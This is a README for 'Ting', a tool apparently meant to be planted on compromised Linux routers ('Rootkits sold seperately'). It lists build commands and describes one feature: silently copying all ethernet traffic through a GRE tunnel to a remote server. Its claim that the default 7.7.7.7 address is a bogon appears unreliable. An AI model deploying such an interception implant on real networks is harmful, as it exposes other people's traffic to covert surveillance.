Ting

Simple, albeit portable, utility designed for "administrating" Linux-based routers.

Rootkits sold seperately.

How to compile:

Note: If you would like to use a different libc implementation, such as musl, uclibc, or dietlibc, you may supply the respective compilers in the CC environment variable.

git clone https://github.com/GoodiesHQ/Ting.git
cd Ting
mkdir build
cd build
CC="gcc -static -Os" cmake ..
make -j`nproc`

LibC	Command	Size	Size (stripped)
Glibc	CC="gcc -Os -static" cmake ..	709K	639K
musl	CC="musl-gcc -Os -static" cmake ..	21K	14K
dietlibc	CC="diet gcc -Os -static" cmake ..	13K	9K

Features:

• Establish a GRE transparent ethernet tunnel to a server and send a copy of all received ethernet frames.
  • The GRE server is defined as TING_GRE_DESTINATION in inc/ting/gre.h. Change it to your desired IPv4 address. By default, it is "7.7.7.7" which is a bogon, so nothing will happen.
  • All ethernet frames are duplicated. This pay potentially be a LOT. Add -DTING_CAPTURE_IP_ONLY will change the socket's protocol to ETH_P_IP instead of ETH_P_ALL and will strip the Ethernet header so that only get IP packets are sent across the GRE tunnel (this will still accept multicast packets).